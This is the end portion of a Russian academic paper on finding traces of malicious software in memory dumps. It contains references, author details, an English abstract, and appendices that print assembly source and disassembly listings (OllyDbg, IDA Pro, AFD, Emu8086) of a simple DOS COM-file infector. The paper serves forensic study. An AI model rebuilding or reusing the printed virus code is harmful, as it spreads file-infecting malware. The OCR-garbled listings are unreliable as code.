[4] Власов Д. В., Минаев А. С. Методы противодействия анализу исполняемых файлов в информационных системах // Информация и безопасность. 2014. Т. 17, № 2. С. 308311.

[5] Command Reference Mal. [Электронное издание] URL: https://github.com/ volatilityfoundation/volatility/wiki/Command-Reference-Mal

[6] Guo Z., Bhakta R., Harris I. G. Control-flow checking for intrusion detection via a real-time debug interface, Smart Computing Workshops (SMARTCOMP Workshops) // 2014 International Conference on Smart Computing Workshops (SMARTCOMP Workshops), — IEEE, 2014. P. 87-92.

В. Ю. Иванов, К. Ю. Жигалов, А. И. Алчинов

Ю. А. Павенский

[7] Crane S. J., Volckaert S., Schuster F. et al. It's a TRaP: Table Randomization and Protection against Function-Reuse Attacks // Proceedings of the 22nd ACM SIGSAC Conference on Computer and Communications Security. — ACM, 2015. P. 243-255.

[8] Петухов С. Г., Жигалов К. Ю. Современные тенденции обеспечения защиты информации в малом и среднем бизнесе России // Прикладные исследования и технологии ART2016: Сборник трудов международной конференции. — М. : МТИ, 2016. С. 251-

[9] Симанин В. А., Жигалов К. Ю. Этапы преодоления систем защиты программного обеспечения // Прикладные исследования и технологии ART2017: Сборник трудов международной конференции. 2017. С.343-347.

[10] Wartell R., Mohan V., Hamlen K. W. et al. Securing untrusted code via compiler-agnostic binary rewriting // Proceedings of the 28th Annual Computer Security Applications Conference. — ACM, 2012. P. 299-308.

Авторы:

Вячеслав Юрьевич Иванов — кандидат технических наук, доцент кафедры специальных информационных технологий, Московский университет МВД России им. В. Я. Кикотя

Кирилл Юрьевич Жигалов — кандидат технических наук, старший научный сотрудник, Институт проблем управления РАН им. В. А. Трапезникова

Александр Иванович Алчинов — доктор технических наук, профессор, заведующий лабораторией № 22, Институт проблем управления РАН им. В. А. Трапезникова

Юрий Алексеевич Павенский — курсант, Московский университет МВД России им. В. Я. Кикотя

256.

Приложение А. Код вредоносного файла VIRUS.exe

1 2

3

4

5

6 7 В 9

10 11 12

13

14

15

16 17 1В

19

20 21 22

23

24

25

26 27 20

29

30

31

32

33

34

35

36

37 ЗВ

39

40

41

42

43

.2 66

iНе можете найти то, что вам нужно? Попробуйте сервис подбора литературы.

CSEG segment

assume cs:CSEG, ds:CSEG, esiCSEG, ss:CSEG

org 10 Oil Begin:

push offset Init ret dw 1122h f_bytes equ $-offset Begin Open_file proc

mov ax,2DD2h mov ditjLEh int 21h mov Handle, ax r.cv bit, a.K

ret

Handle dw 0FFFFh Open_file endp Close_file proc cmp Handle, je No_close mov bx,Handle mov ah,3Eh int 21h No close: ret

Close_file endp Find_first proc mov ah,4Eh xor CXjCX

mov dx,offset Mask_file int lh

ret

Mask_file db '^.com1, Find_first endp Find_next proc xor dx,dx xor cx,cx mov ah,4Fh int lh

ret

Find_next endp Infect_file proc

iriov ot,offset. Finish-offset Open_file 145 First_bytes db 4 dup (90h), OCDh, 20h

В. Ю. Иванов, К. Ю. Жигалов, А. И. Алчинов Ю. А. Павенский

Приложение Б. Результат дисассемблирования файла VIRUS.exe отладчиком OllyDBG

Г~

С2 0С00

СС

сс

СС

сс

сс_

ей 18

68 4816900F Е8 73С40000 BF 94000000 8ВС7

Е8 6FCC0000 8965 Е8 8BF4 893Е 56

FF15 2С10000 8В46 10 A3 885R060F 8В4Е 04 890D 945P060I 8Б56 08 8915 985P060I 8В76 0С 81Е6 FF7F000I 8935 8C5P060I 83F8 02

74 0С 81СЕ 0080000 8935 8С5Р060 С1Е1 08 03СР 890D 905R060I 66:813D 0001

75 28

Al 3C00000F 81В8 0000000

75 17

0FB788 18000) 81F9 0B01000I 74 21

81F9 0В02000

74 06

8365 Е4 00 ЕВ 2ft

83В8 8400000

76 F1 ЗЗС9 3988 F800000I ЕВ И 83В8 74000001 76 DE ЗЗС9 3988 E800000I 0F95C1

894D Е4 6ft 00

Е8 FFCCFFFF 59

85С0

75 21

833D 74500601 74 05

Е8 48С80000 6ft 1С

Е8 54С60000 68 FF000000 Е8 F9C40000 59 59

8365 FC 00 Е8 F8C7FFFF 85С0 7D 08 6ft IB

E8 40C30000 59

FF15 8410000 ЯЗ 649E070F E8 786F0000 A3 6C5R060F E8 вD0ft0000

RETN 0C

INT3 INT3 INT3 INT3

INT3_

PUSH 18 PUSH 0F001648 CALL 0F01B8C8 MOU ED 1,94 MOU EAX,EDI CALL 0F01C0D0

MOU DWORD PTR SS:[EBP-18],ESP MOU ESI,ESP

MOU DWORD PTR DS:[ESI],EDI PUSH ESI

CALL DWORD PTR DS: IX8.KERNEL32.GetUersioi MOU EAX,DWORD PTR DS:[ESI+10] MOU DWORD PTR DS:[0F065A88 3,EAX MOU ECX,DWORD PTR DS:[ESI+4] MOU DWORD PTR DS:[0F065A94],ECX MOU EDX,DWORD PTR DS:[ESI+8] MOU DWORD PTR DS: [0F065A98], EDX MOU ESI,DWORD PTR DS:[ESI+0C] AMD ESI,00007FFF MOU DWORD PTR DS:[0F065A8C],ESI CMP EAX,2 JE SHORT 0F00F4A9 OR ESI,00008000

MOU DWORD PTR DS:[0F065A8C],ESI SHL ECX,8 ADD ECX,EDX

MOU DWORD PTR DS:[0F065A90],ECX CMP WORD PTR DS:[<STRUCT IMAGE_DOS_HEADl JNE SHORT 0F00F4E7 MOU EftX,DWORD PTR DS:[0F00003C] CMP DWORD PTR DS: [EAX+<STRUCT IMAGE_DOS. JNE SHORT 0F00F4E7 MOUZX ECX,WORD PTR DS:[EAX+0F000018] CMP ECX,10B JE SHORT 0F00F500 CMP ECX,20B JE SHORT 0F00F4ED

AND DWORD PTR SS:[EBP-1CI,00000000

JMP SHORT 0F00F517

CMP DWORD PTR DS:[EftX+0F000084I,0E

JBE SHORT 0F00F4E7

XOR ECX ECX

CMP DWORD PTR DS:[EAX+<STRUCT IMAGE_OPT

JMP SHORT 0F00F511

CMP DWORD PTR DS:[EftX+0F000074I,0E

JBE SHORT 0F00F4E7

XOR ECX ECX

CMP DWORD PTR DS:[EAX+0F0000E8],ECX SETNE CL

MOU DWORD PTR SS:[EBP-1C],ECX PUSH 0

CALL 0F00C21D

POP ECX

TEST EAX,EAX

JNZ SHORT 0F00FS44

CMP DWORD PTR DS:[0F065A74],2

JE SHORT 0F00F531

CALL 0F01BD79

PUSH 1С

CALL 0F01BB8C

PUSH OFF

CALL 0F01BA3B

POP ECX

POP ECX

AND DWORD PTR SS:[EBP-4I,00000000

CALL 0F00BD45

TEST EAX,EAX

JGE SHORT 0F00F559

PUSH IB

CALL 0F01B898

POP ECX

CALL DWORD PTR DS: [<8,KERNEL32.GetCorman. MOU DWORD PTR DS: [0F079E64],EAX CALL 0F0164E1

MOU DWORD PTR DS:[0F065A6C],EAX

CHI [ 0F00FFFM_

Allocates 148. bytes on stack

■OsVersIon Info LKERNEL32.GetUersIon Ex A

ftSCII "./V05"

rArgl = 0

Int udrt_ex e. 0F00C21D

rArgl = 1С L n t udn_ex e. 0F01BB8C

rArgl = IB L n t udi4_ex e. 0F01B898

С KERNEL32.Get Comman dL i n eA

С n t udi4_ex e. 0F0164E1

iНе можете найти то, что вам нужно? Попробуйте сервис подбора литературы.

CntudM e«e.0F00FFE0_

Приложение В. Результат дисассемблирования файла VIRUS.exe

программой IDA Pro Advanced

segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: 0104 segOOO: 01 Oil segOOO:0104

This file is generated by The Interactive Disassembler (IDA) Copyright (c) 2007 by DataRescue sa/nu, <ida@datarescue .con>

| Licensed to: Mach EDU Dienstleistungen, Jan Mach, 1 user, adu, 11/2007 | ♦-------------------------------------------------------------------------♦

Input MDS : 17D767S4662F16DB92EC23A42A08F4DD

File Name : C:\Documents and Settings\Admin\[pcnijuiui eEiou\UIRUS.exe Format : MS-DOS COM-file

Base Address: Oh Range: 1O0h-214h Loaded length: 114h .386

.model tiny

01OO ; Segment type: Pure code

010O segOOO segment byte public ■CODE1 use16

0100 assume cs:segO0O

0100 org 1 OOh

0100 assume es:nothing, ss:nothing, ds:segB

0103 01 03

01 Oil

segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO: segOOO:

01D1 01D2 01D3 01D6 01D9

01 DA _

01 DA SI^H 01 DA

01DA ; -

01 DB 01 DB 01 DB 01 DB 01 DB 01 DB

01 DB segOOO

01 DB 01 DB 01 DB

fs:nothing, gs:nothing

S U В R 0 U T

public start proc Far push 1B4h retn

N E

db 22h, 11h, 0B8h, 2, 3Dh, OBAh, 1Eh, 0, OCDh, 21h, 0A3h db 14h, 1, 8Bh, 0D8h, 0C3h, 2 dup(OFFh), 83h, 3Eh, 1lth db 1, OFFh, 74h, 8, 8Bh, 1Eh, 1Hh, 1, 0B4h, 3Eh, OCDh db 21h, 0C3h, 0B4h, 4Eh, 33h, 0C9h, OBAh, 30h, 1, OCDh db 21h, 0G3h, 2Ah, 2Eh, 63h, 6Fh, 6Dh, 0, 33h, 0D2h, 33h

push cs

push bx

mou bx, 1DBh

push OBFOOh

push bx

retF_

entlp ; sp analysis Failed

db OEh, 1Fh, 0B4h, 1Ah, 33h, 0D2h, OCDh, 21h, 0E8h, DBh db OFFh, 72h, OAh, 0E8h, 54h, OFFh, 73h, 5, 0E8h, 46h db OFFh, 73h, 0F6h, OBEh, OEh, 2, OBFh, O, 1, 16h, 7, 0B9h db 6, 0, 0F3h, 0A4h, OCBh, OEh, 1Fh, 0B4h, 1Ah, OBAh, 80h db 0, OCDh, 21h, 61h, 68h, 0, 1, 0C3h, 4 dup(90h), OCDh

db 2Oh ends

end start

В. Ю. Иванов, К. Ю. Жигалов, А. И. Алчинов Ю. А. Павенский

Приложение Г. Результат дисассемблирования файла VIRUS.exe отладчиком AFD Рго

ЙХ 0000 SI 0000 CS 1DF6 IP 0100

ВХ 0000 DI 0000 DS 1BF6

СХ 0114 BP 0000 ES 1BF6 HS 1BF6

ВХ 0000 SP FFFE SS 1BF6 FS 1BF6

Stack +0 0000 Flags 7202 *2 20СВ

*4 9FFF OF BF IF SF ZF fiF PF CF

+6 9fiO0 00100000

CMD

0103 C3 ЙЕТ

10104 2211 »N0 DL,CBX+DI ]

0106 B8023B мои flX,3D02

Й109 BfilEOO мои ВХ,001Е

01 ОС CB21 1ЫТ 21

fc)10E Й31401 мои [0114],ЙХ

0111 8BB8 мои BX.fiX

3 01234567

BS:0000 CB 20 FF 9F 00 9A FO FE

BS:0010 11 04 56 01 11 04 56 05

BS:0020 FF FF FF FF FF FF FF FF

BS:0030 66 05 14 00 18 00 F6 IB

BS:0040 05 00 00 00 00 00 00 00

Э

BS:0000 BS:0ОШ8 DS:0010 DS:0018 DS:0O20 DS:0028 BS:0O30 BS:0038 DS:0040 DS:0048

89ftBCDEF ID FO IB 05 89 ОЙ 4B 01 01 01 01 00 02 FF FF FF FF FF FF FF fiF IB CO 11 FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00

2 3 4 5 FF 9F 00 9fi IB 05 89 0Й 56 01 11 04

= Я.ЪЕ| .Е..Й.К.

. -U...U......

п. L.

f.....g.

□ Step EProcStepERetrieveKJlelp ON EBRK MenuE E up |] dn Ц le 1 ri

Приложение Д. Результат дисассемблирования файла VIRUS.exe отладчиком Ети8086

registers

АХ

ВХ

СХ

DX

CS

IP

SS

SP

BP

SI

DI

DS

ES

00 00

00 00

01

00 00

07 00

0100

07 00

FFFE

0000

0000

0000

07 00

07 00

iНе можете найти то, что вам нужно? Попробуйте сервис подбора литературы.

0700:0100

0700:0100

07100: 68 101 h 07101: B1 180 | 07102: 01 001 0

07103: 07101: 07105: 07106: 07107: 07108: 07109: 0710fi: 0710B: 0710C: 0710D: 0710E: 0710F: 07110: 07111: 07112: 07113: 07111: 07115: 07116: 07117: 07118: 07119: 0711fi: 0711B:

C3 195 1

22 031 л

11 017 4

B8 181 1

02 002 8

3D 061 =

Bfi 186 II

IE 030 A

00 ООО NULL

CD 205 =

21 033 !

fi3 163 г

11 020 11

01 001 @

8B 139 0

D8 216 ± T

C3 195 I

FF 255 RES

FF 255 RES

83 131 Г

3E 062 >

11 020 11

01 001 6

FF 255 RES

71 116 t

PUSH 00lB1h

RET

fiND DL, [BX + DI] ЮТ flU, 03D02h ЮТ DX, OODlEh INT 0£lh

ЮТ [OOlUhl, HX Ш BX, fix

RET

BIDS DI

CUP u.IOOlllhl, OFFh JZ 0125h 1Ш BX, [OOlHh] ЮТ AH, 03Eh INT D21h RET

N04 AH, 01Eh XOR СХ, CX НОЧ DX, 00130h INT 021h RET

SUB CH, [06F63hl INSll

fiDD IBP + DI], DH SHL ЬЛВР + DI], CL LEAVE

Н0Ч AH, 01Fh INT D21h

Cloud of Science. 2018. T. 5. № 2 http:/ / cloudofscience.ru

Methods of identifying traces of malicious software in the dump of memory

V. Yu. Ivanov*, K. Yu. Zhigalov**,***, A. I. Alchinov**, Yu. A. Pavensky*

*Moscow University of the Ministry of the Interior of Russia St. Ak. Volgina, 12, Moscow, Russia, 117437

**V. A. Trapeznikov Institute of Control Sciences of Russian Academy of Sciences Profsouznaya st. 65, Moscow, Russia, 117997

***Moscow Technological Institute St. Kedrova 8, build., 2, Moscow, Russia, 117292

e-mail: kshakalov@mail.ru, ivsl71@mail.ru

Abstract. General features of resident and non-resident viruses from the point of view of «Assembly» programming language are considered. Analyzing methods of counteracting the study of traces of malicious executable code. On the basis of the conducted researches results of analysis of the detected malicious software and a study of the marks left by it is also made recommendations, which will allow to significantly reduce the expert's time during similar actions.

Keywords: anti-debugging, anti-disassembly anti-startup in virtual machines, Sift Workstation 3.0 operating system, the programming language «Assembler».

References

[1] Ehkzaryan D. A. et al. (2015) Matematicheskie metody v tekhnike i tekhnologiyah, 5(75):49-51.

[2] Knut D. E. (2008) Iskusstvo programmirovaniya. Vol. 1. Osnovnye algoritmy. Moscow. [In Rus]

[3] Kliment'ev K. E. (2015) Komp'yuternye virusy i antivirusy. Moscow. [In Rus]

[4] Vlasov D. V., Minaev A. S. (2014) Informaciya i bezopasnost'. 17(2):308-311. [In Rus]

[5] https://github.com/volatilityfoundation/volatility/wiki/Command-Reference-Mal

[6] Guo Z., Bhakta R., Harris I. G. (2014) Control-flow checking for intrusion detection via a real-time debug interface. In 2014 SMARTCOMP Workshops. IEEE. P. 87-92

[7] Crane S. J., Volckaert S., Schuster F., et al. (2015) It's a TRaP: Table Randomization and Protection against Function-Reuse Attacks. In Proc. of the 22nd ACM SIGSAC Conference on Computer and Communications Security. P. 243-255.

[8] Petuhov S. G., Zhigalov K. Yu. (2016) Sovremennye tendencii obespecheniya zashchity in-formacii v malom i srednem biznese Rossii. In Proc. ART2016. P. 251-256. [In Rus]

[9] Simanin V. A., Zhigalov K. Yu. (2017) Etapy preodoleniya sistem zashchity programmnogo obespecheniya. In Proc ART2017. P. 343-347. [In Rus]

[10] Wartell R., Mohan V., Hamlen K. W. et al. (2012) Securing untrusted code via compiler-agnostic binary rewriting. In Proc. of the 28th Annual Comp. Security Appl. Conf. P. 299-308

i Надоели баннеры? Вы всегда можете отключить рекламу.